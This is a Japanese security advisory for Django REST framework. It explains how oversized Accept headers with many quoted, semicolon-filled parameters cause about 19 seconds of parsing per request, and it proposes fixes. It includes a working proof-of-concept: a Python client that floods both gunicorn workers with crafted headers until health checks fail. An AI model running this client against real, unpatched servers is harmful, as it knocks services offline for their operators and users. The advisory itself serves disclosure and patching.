Django REST framework: コンテンツネゴシエーションにおいて、多くの大きな引用符で囲まれたパラメータを含むAcceptヘッダーは、リクエストごとに約19秒のCPU時間を消費する。
### 概要
DRFのコンテンツネゴシエーションは、リクエストごとに各Acceptトークンを何度も解析し、トークンの数や合計サイズに制限を設けていません。各解析は、Djangoのparse_header_parameters関数に到達し、引用符で囲まれたパラメータの値がセミコロンで区切られている場合、二次的な時間計算を行います。私の環境では、96個のトークンから構成される780KBのAcceptヘッダーを持つ単一のGETリクエストが、gunicornワーカーを18.87秒間占有しました(Django 6.1、djangorestframework 3.18.0、gunicorn 26.0.0、Python 3.13、macOS上のDocker)。このヘッダーは構文的に有効であり、gunicornのデフォルトのヘッダー制限内に収まり、認証は不要です。2つの同時リクエスト(同期ワーカーあたり1つ)により、デフォルトの2ワーカー構成では、40秒間のテスト期間中、応答が停止しました。送信を停止すると、約0.5秒後に回復しました。
### 詳細
#### 発生する内容
get_accept_list()関数は、rest_framework/negotiation.pyの96-97行で、Acceptヘッダーをカンマで区切り、トークンの数や合計サイズに制限を設けずに分割します。
各トークンについて、select_renderer()関数は、レンダラーごとにmedia_type_matches()関数を1回呼び出し、各呼び出しで、両側の新しい_MediaTypeオブジェクトを構築します(rest_framework/negotiation.pyの53-56行およびrest_framework/utils/mediatypes.pyの22-23行)。_MediaTypeの__init__関数は、rest_framework/utils/mediatypes.pyの47行で、常にdjango.utils.http.parse_header_parameters関数を呼び出します。
一致するものがない場合、DRFはNotAcceptable(406)エラーを発生させます。このエラー応答のレンダリングにもレンダラーが必要なため、finalize_response()関数は、perform_content_negotiation(force=True)を介して、コンテンツネゴシエーションを2回目に行います(rest_framework/views.pyの434-437行)。
デフォルトの2つのレンダラーを使用すると、リクエストごとにAcceptトークンあたり約6回の解析が行われます。私は、_MediaTypeにカウンターを導入することで、この数を検証しました。通常処理で3回、強制的な再ネゴシエーションで3回、合計6回解析が行われています。
二次方程式の処理はDjango側で行われます。`parse_header_parameters`関数は、`_parseparam`を使ってパラメータを解析します。この関数は、文字列の先頭から引用符の数を数え、候補となる区切り文字ごとにそれを繰り返します(`django/utils/http.py`の`s.count('"', 0, end)`)。引用符で囲まれた値の中にk個のセミコロンが含まれている場合、おおよそk文字ごとに再スキャンが必要となり、そのため、約8KBの単一の値の解析には、ここでは約31msかかります。
私のテストで得られた数値(サーバープロセスのutime+stimeの差分):
* 1つのトークン、約9KB: サーバーCPU 230ms
* 24個のトークン、216KB: `runserver`で5.07秒(フィールドごとの制限なし)
* 48個のトークン、432KB: `runserver`で10.08秒
* 96個のトークン、780KB: `gunicorn`のデフォルト設定で18.87秒
すべてのテストで、経過時間とCPU時間の対応が一致しており、これは純粋なCPUの処理です。RSS(常駐セットサイズ)は常に57MBで安定しており、これはメモリではなく、CPUの処理能力を試していることを示しています。
#### 再現するために重要な詳細:
Djangoは、1つのメディアタイプ文字列の長さを10,000文字(`MAX_HEADER_LENGTH`)に制限します。そのため、各トークンはこれを超えないようにする必要があります。制限を超えると、`ValueError`が発生し、500エラーになります。これは別の問題であり、深刻度も低いです。
`gunicorn`のデフォルト設定では、`limit_request_field_size`が8190、`limit_request_fields`が100に設定されています。したがって、正常に動作する構成は、96個の個別の`Accept`フィールドで、それぞれ約8.1KBのトークンが含まれている状態です。これにより、単一のリクエストの処理時間は約19秒になり、デフォルトの30秒のワーカータイムアウトよりも短いため、単一のリクエストが`gunicorn`のワーカーを強制終了させることはありません。強制終了される必要はありません。各リクエストは、その期間中、1つの同期ワーカーを占有します。そのため、2つのワーカーを使用している場合、2つの接続が占有されると、サービスが停止する可能性があります。
`order_by_precedence`は、トークンをセットに集めます。そのため、同じトークンは重複してカウントされず、コストは大幅に削減されます。各トークンには、独自のパラメータ名(`x0=`, `x1=`, `x2=`など)が必要です。
#### 修正の候補:
以下のいずれかだけでも十分な効果があります。
* 各`Accept`トークンをリクエストごとに1回だけ解析し、その結果をマッチングループと406エラー時の再ネゴシエーションで再利用する。
`get_accept_list()` 関数に、例えば合計8KBまたは64トークンという集計予算を設定し、それを超えるものは受け入れられないものとして扱う。
この二次関数の挙動自体はDjangoのパーサーに存在しますが、DRFが各トークンに対して6回呼び出しており、トークンの数に制限がないため、どちらの修正もDRFの変更に見えます。
### PoC (概念実証)
macOS (Apple Silicon, 8コア) のDocker Desktopで、python:3.13-slim イメージ、Django 6.1、djangorestframework 3.18.0、gunicorn 26.0.0 を使用して、エンドツーエンドで検証しました。デフォルト設定以外は何も変更していません。
最小限の構成で、デフォルトのDRFプロジェクトであれば動作します。以下は使用したプロジェクトです。
requirements.txt:
```
django==6.1
djangorestframework==3.18.0
gunicorn==26.0.0
```
pocproj/settings.py:
```python
SECRET_KEY = 'poc'; DEBUG = False; ALLOWED_HOSTS = ['*']
INSTALLED_APPS = ['django.contrib.contenttypes', 'django.contrib.auth', 'rest_framework']
ROOT_URLCONF = 'pocproj.urls'; WSGI_APPLICATION = 'pocproj.wsgi.application'
DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': ':memory:'}}
USE_TZ = True
```
pocproj/api.py:
```python
from rest_framework.views import APIView
from rest_framework.response import Response
class Items(APIView):
def get(self, request):
return Response([{'id': 1, 'name': 'ok'}])
```
pocproj/urls.py:
```python
from django.urls import path
from .api import Items
urlpatterns = [path('items/', Items.as_view())]
```
起動方法:
```
python manage.py migrate --noinput
gunicorn pocproj.wsgi:application --bind 0.0.0.0:8000 --workers 2
```
クライアント (標準ライブラリのみを使用)、python3で実行:
```python
import http.client, threading, time
TARGET = ('localhost', 8000)
def fields(n=96, semis=8100):
# 8100個のセミコロンは、各フィールドをgunicornのlimit_request_field_size
# (8190) の制限以下にし、各トークンをDjangoのMAX_HEADER_LENGTH (10000) の制限以下にします。
# x{i} という名前は、order_by_precedence によるトークンの重複を防ぎます。
return [f'text/x-poc{i}; x{i}="' + ';'*semis + '"' for i in range(n)]
```
```
def burn():
c = http.client.HTTPConnection(*TARGET, timeout=120)
c.putrequest('GET', '/items/', skip_accept_encoding=True)
for f in fields():
c.putheader('Accept', f)
c.endheaders()
r = c.getresponse(); r.read(); c.close()
return r.status
t = time.perf_counter()
print('single:', burn(), f'{time.perf_counter()-t:.2f}s')
# 実行結果の例: single: 406 18.87s。同じエンドポイントに対する通常のGETリクエストの時間は0.03秒。
stop = False
def loop():
while not stop:
try:
burn()
except Exception:
pass
ts = [threading.Thread(target=loop, daemon=True) for _ in range(2)]
for x in ts:
x.start()
for _ in range(9):
time.sleep(2)
try:
c = http.client.HTTPConnection(*TARGET, timeout=3)
c.request('GET', '/items/', headers={'Accept': 'application/json'})
r = c.getresponse(); r.read(); c.close()
print('health: 200')
except Exception as e:
print('health: DEAD', type(e).__name__)
stop = True
# 実行結果の例: 40秒以上にわたって、health DEAD が t=2, 7, 12, 22, 27, 32, 37, 42 の時点で9回出力された。
# プロブが3秒のタイムアウトに引っかかり、ワーカーがリクエストの合間にあったときに、t=17で1回だけ200が通過した。
# stop が実行された後、さらに1つのプロブがタイムアウトし、その間に実行中のリクエストが完了した後、0.57秒で200が返された。
```
### 影響
可用性のみに影響があり、機密性や完全性には影響がない。攻撃者がアクセスできるすべてのエンドポイントが影響を受ける。認証なしの公開エンドポイントが対象となる。
2つの同期ワーカーを持つ標準的なgunicornの設定では、攻撃者が保持する接続が2つあるだけで、サービスが停止する可能性がある。1つのリクエストだけで、1つのコアで約19秒の時間が消費される。
攻撃が停止すると、すぐに復旧し、永続的な損害はない。
リクエストは有効なHTTPリクエストであり、406エラーで応答されるため、アクセスログに記録されます。しかし、リクエスト自体に問題があるわけではないため、不正なリクエストを検出するフィルタでは捕捉されません。DRFのスロットリング機能はコンテンツネゴシエーションの前に実行され、設定されていればレート制限を適用できますが、デフォルト設定ではスロットリングクラスが設定されていないため、通過するすべてのリクエストで依然として19秒の処理時間がかかります。
コンテンツネゴシエーションの仕組み、つまりトークンの分割、レンダラーごとの再解析、および406エラー時の再ネゴシエーションは、2012年から存在しています。この処理は、2022年7月にissue #8556で`parse_header_parameters`関数に切り替えられました。動作は3.18.0で確認済みです。
影響を受けるパッケージ:
- pip (Python) djangorestframework: 3.18.2未満のバージョンに影響があり、3.18.2で修正されました。